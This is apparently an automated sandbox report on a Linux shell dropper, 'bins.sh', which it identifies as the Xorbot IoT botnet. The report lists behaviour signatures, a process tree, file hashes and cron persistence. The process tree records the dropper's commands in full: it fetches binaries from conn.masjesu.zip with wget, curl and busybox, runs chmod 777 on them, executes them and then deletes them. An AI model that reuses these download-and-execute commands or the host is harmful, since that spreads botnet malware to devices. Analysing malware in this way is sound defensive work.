Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    23/02/2025, 08:22

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250223-j9r4taskx5
  • SHA256 bc38541818d1bb0e2680efabdadbf6af567a4ba4729fa6a7d956e20b7db9d260
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (854) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 29 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:718
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:722
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:726
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:822
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:824
      • /bin/chmod
        chmod 777 tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
        2⤵
        • File and Directory Permissions Modification
        PID:825
      • /tmp/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
        ./tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
        2⤵
          PID:826
        • /bin/rm
          rm tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
          2⤵
            PID:828
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:829
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:830
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
            2⤵
            • System Network Configuration Discovery
            PID:835
          • /bin/chmod
            chmod 777 E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
            2⤵
            • File and Directory Permissions Modification
            PID:836
          • /tmp/E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
            ./E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
            2⤵
              PID:837
            • /bin/rm
              rm E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
              2⤵
                PID:839
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
                2⤵
                • System Network Configuration Discovery
                PID:840
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:841
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
                2⤵
                • System Network Configuration Discovery
                PID:843
              • /bin/chmod
                chmod 777 1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
                2⤵
                • File and Directory Permissions Modification
                PID:844
              • /tmp/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
                ./1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
                2⤵
                  PID:845
                • /bin/rm
                  rm 1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
                  2⤵
                    PID:847
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:848
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:849
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:851
                  • /bin/chmod
                    chmod 777 6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q
                    2⤵
                    • File and Directory Permissions Modification
                    PID:852
                  • /tmp/6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q
                    ./6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q
                    2⤵
                      PID:853
                    • /bin/rm
                      rm 6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q
                      2⤵
                        PID:855
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:856
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:857
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf
                        2⤵
                        • System Network Configuration Discovery
                        PID:859
                      • /bin/chmod
                        chmod 777 47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf
                        2⤵
                        • File and Directory Permissions Modification
                        PID:860
                      • /tmp/47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf
                        ./47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf
                        2⤵
                          PID:861
                        • /bin/rm
                          rm 47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf
                          2⤵
                            PID:863
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/cZG0LdAaljdEEtpzqCl1cWRkSqzE5fpJds
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:864
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/cZG0LdAaljdEEtpzqCl1cWRkSqzE5fpJds
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:865
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/cZG0LdAaljdEEtpzqCl1cWRkSqzE5fpJds
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:867
                          • /bin/chmod
                            chmod 777 cZG0LdAaljdEEtpzqCl1cWRkSqzE5fpJds
                            2⤵
                            • File and Directory Permissions Modification
                            PID:868
                          • /tmp/cZG0LdAaljdEEtpzqCl1cWRkSqzE5fpJds
                            ./cZG0LdAaljdEEtpzqCl1cWRkSqzE5fpJds
                            2⤵
                              PID:869
                            • /bin/rm
                              rm cZG0LdAaljdEEtpzqCl1cWRkSqzE5fpJds
                              2⤵
                                PID:871
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/3AME7nNo8Dw3eIJC6ykaWkUtFGPWg0Mb2f
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:872
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/3AME7nNo8Dw3eIJC6ykaWkUtFGPWg0Mb2f
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:873
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/3AME7nNo8Dw3eIJC6ykaWkUtFGPWg0Mb2f
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:875
                              • /bin/chmod
                                chmod 777 3AME7nNo8Dw3eIJC6ykaWkUtFGPWg0Mb2f
                                2⤵
                                • File and Directory Permissions Modification
                                PID:876
                              • /tmp/3AME7nNo8Dw3eIJC6ykaWkUtFGPWg0Mb2f
                                ./3AME7nNo8Dw3eIJC6ykaWkUtFGPWg0Mb2f
                                2⤵
                                • Renames itself
                                • Reads runtime system information
                                PID:877
                                • /bin/sh
                                  sh -c "crontab -l"
                                  3⤵
                                    PID:879
                                    • /usr/bin/crontab
                                      crontab -l
                                      4⤵
                                        PID:880
                                    • /bin/sh
                                      sh -c "crontab -"
                                      3⤵
                                        PID:881
                                        • /usr/bin/crontab
                                          crontab -
                                          4⤵
                                          • Creates/modifies Cron job
                                          PID:882
                                    • /bin/rm
                                      rm 3AME7nNo8Dw3eIJC6ykaWkUtFGPWg0Mb2f
                                      2⤵
                                        PID:884
                                      • /usr/bin/wget
                                        wget http://conn.masjesu.zip/bins/pJt4UoGnoeSfkmXRfwqmkNN2yvcPDeLeD0
                                        2⤵
                                          PID:887
                                        • /usr/bin/curl
                                          curl -O http://conn.masjesu.zip/bins/pJt4UoGnoeSfkmXRfwqmkNN2yvcPDeLeD0
                                          2⤵
                                            PID:972
                                          • /bin/busybox
                                            /bin/busybox wget http://conn.masjesu.zip/bins/pJt4UoGnoeSfkmXRfwqmkNN2yvcPDeLeD0
                                            2⤵
                                              PID:973
                                            • /bin/chmod
                                              chmod 777 pJt4UoGnoeSfkmXRfwqmkNN2yvcPDeLeD0
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:978
                                            • /tmp/pJt4UoGnoeSfkmXRfwqmkNN2yvcPDeLeD0
                                              ./pJt4UoGnoeSfkmXRfwqmkNN2yvcPDeLeD0
                                              2⤵
                                                PID:979
                                              • /bin/rm
                                                rm pJt4UoGnoeSfkmXRfwqmkNN2yvcPDeLeD0
                                                2⤵
                                                  PID:980
                                                • /usr/bin/wget
                                                  wget http://conn.masjesu.zip/bins/QI24ZVTX5TxMurgHTM5vMfH3hSCiRmuSwL
                                                  2⤵
                                                  • System Network Configuration Discovery
                                                  PID:981
                                                • /usr/bin/curl
                                                  curl -O http://conn.masjesu.zip/bins/QI24ZVTX5TxMurgHTM5vMfH3hSCiRmuSwL
                                                  2⤵
                                                  • Reads runtime system information
                                                  • System Network Configuration Discovery
                                                  PID:982
                                                • /bin/busybox
                                                  /bin/busybox wget http://conn.masjesu.zip/bins/QI24ZVTX5TxMurgHTM5vMfH3hSCiRmuSwL
                                                  2⤵
                                                  • System Network Configuration Discovery
                                                  • Writes file to tmp directory
                                                  PID:984
                                                • /bin/chmod
                                                  chmod 777 QI24ZVTX5TxMurgHTM5vMfH3hSCiRmuSwL
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:986
                                                • /tmp/QI24ZVTX5TxMurgHTM5vMfH3hSCiRmuSwL
                                                  ./QI24ZVTX5TxMurgHTM5vMfH3hSCiRmuSwL
                                                  2⤵
                                                    PID:987
                                                  • /bin/rm
                                                    rm QI24ZVTX5TxMurgHTM5vMfH3hSCiRmuSwL
                                                    2⤵
                                                      PID:989
                                                    • /usr/bin/wget
                                                      wget http://conn.masjesu.zip/bins/DeN7ogtR5QOqmtjAvvMPBvaauD2eie4KMZ
                                                      2⤵
                                                      • System Network Configuration Discovery
                                                      PID:990
                                                    • /usr/bin/curl
                                                      curl -O http://conn.masjesu.zip/bins/DeN7ogtR5QOqmtjAvvMPBvaauD2eie4KMZ
                                                      2⤵
                                                      • Reads runtime system information
                                                      • System Network Configuration Discovery
                                                      PID:991
                                                    • /bin/busybox
                                                      /bin/busybox wget http://conn.masjesu.zip/bins/DeN7ogtR5QOqmtjAvvMPBvaauD2eie4KMZ
                                                      2⤵
                                                      • System Network Configuration Discovery
                                                      PID:1001
                                                    • /bin/chmod
                                                      chmod 777 DeN7ogtR5QOqmtjAvvMPBvaauD2eie4KMZ
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:1014
                                                    • /tmp/DeN7ogtR5QOqmtjAvvMPBvaauD2eie4KMZ
                                                      ./DeN7ogtR5QOqmtjAvvMPBvaauD2eie4KMZ
                                                      2⤵
                                                        PID:1015
                                                      • /bin/rm
                                                        rm DeN7ogtR5QOqmtjAvvMPBvaauD2eie4KMZ
                                                        2⤵
                                                          PID:1016
                                                        • /usr/bin/wget
                                                          wget http://conn.masjesu.zip/bins/4jj5A684Nlraia6kiUUjbCliXAuf3pjs9C
                                                          2⤵
                                                          • System Network Configuration Discovery
                                                          PID:1017
                                                        • /usr/bin/curl
                                                          curl -O http://conn.masjesu.zip/bins/4jj5A684Nlraia6kiUUjbCliXAuf3pjs9C
                                                          2⤵
                                                          • System Network Configuration Discovery
                                                          PID:1019

                                                      Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6

                                                            • Path /tmp/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
                                                            • Size 141KB
                                                            • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            3AME7nNo8Dw3eIJC6ykaWkUtFGPWg0Mb2f

                                                            • Path /tmp/3AME7nNo8Dw3eIJC6ykaWkUtFGPWg0Mb2f
                                                            • Size 151KB
                                                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf

                                                            • Path /tmp/47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf
                                                            • Size 99KB
                                                            • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q

                                                            • Path /tmp/6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q
                                                            • Size 127KB
                                                            • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo

                                                            • Path /tmp/E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
                                                            • Size 122KB
                                                            • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            QI24ZVTX5TxMurgHTM5vMfH3hSCiRmuSwL

                                                            • Path /tmp/QI24ZVTX5TxMurgHTM5vMfH3hSCiRmuSwL
                                                            • Size 112KB
                                                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            cZG0LdAaljdEEtpzqCl1cWRkSqzE5fpJds

                                                            • Path /tmp/cZG0LdAaljdEEtpzqCl1cWRkSqzE5fpJds
                                                            • Size 177KB
                                                            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs

                                                            • Path /tmp/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
                                                            • Size 98KB
                                                            • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            tmp.1u46QY

                                                            • Path /var/spool/cron/crontabs/tmp.1u46QY
                                                            • Size 210B
                                                            • SHA256 15467c47595084107475657ebac130a84249c47e189cb5938094d14a604d984d
                                                            • MD5 SHA1 SHA512